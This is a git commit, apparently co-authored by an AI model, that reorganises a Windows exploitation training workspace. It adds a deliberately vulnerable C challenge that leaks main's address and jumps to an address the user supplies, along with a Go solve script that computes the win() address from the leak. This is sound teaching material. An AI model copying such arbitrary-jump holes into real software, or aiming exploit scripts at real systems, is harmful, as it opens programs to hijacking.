restructure workspace into numbered pwn progression
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1 @@
|
||||
flag{FLAG}
|
||||
@@ -0,0 +1,38 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
tube, err := winpwn.Spawn("./task1.exe")
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
||||
log.Fatalf("RecvUntil: %v", err)
|
||||
}
|
||||
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
||||
if err != nil {
|
||||
log.Fatalf("RecvUntil: %v", err)
|
||||
}
|
||||
mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
|
||||
if err != nil {
|
||||
log.Fatalf("parse addr: %v", err)
|
||||
}
|
||||
fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
|
||||
|
||||
winAddr := mainAddr - 267
|
||||
fmt.Printf("[+] win: 0x%X\n", winAddr)
|
||||
|
||||
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
/*
|
||||
В Windows нет прямого аналога POSIX-сигналов, signal(SIGSEGV)
|
||||
заменяется на SetUnhandledExceptionFilter (обработка SEH).
|
||||
Cтандартный пакет strconv для парсинга hex-строк, так как Go
|
||||
требует явной конвертации типов вместо магических методов Python.
|
||||
*/
|
||||
|
||||
// 0x00007FF76AB1154C(win) - 0x00007FF76AB11657(main)
|
||||
// rmb -> search for -> current module -> string references
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
|
||||
LONG WINAPI ExceptionFilter(EXCEPTION_POINTERS *ExceptionInfo) {
|
||||
if (ExceptionInfo->ExceptionRecord->ExceptionCode ==
|
||||
EXCEPTION_ACCESS_VIOLATION) {
|
||||
printf("Segfault Occurred, incorrect address.\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
void win() {
|
||||
HANDLE hFile;
|
||||
char buffer[256];
|
||||
DWORD bytesRead;
|
||||
|
||||
printf("You won!\n");
|
||||
|
||||
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
printf("Cannot open file.\n");
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) &&
|
||||
bytesRead > 0) {
|
||||
buffer[bytesRead] = '\0';
|
||||
printf("%s", buffer);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
|
||||
int main() {
|
||||
SetUnhandledExceptionFilter(ExceptionFilter);
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
printf("Address of main: %p\n", &main);
|
||||
|
||||
unsigned long long val;
|
||||
printf("Enter the address to jump to, ex => 0x12345: ");
|
||||
|
||||
scanf("%llx", &val);
|
||||
printf("Your input: %llx\n", val);
|
||||
|
||||
void (*foo)(void) = (void (*)())val;
|
||||
foo();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user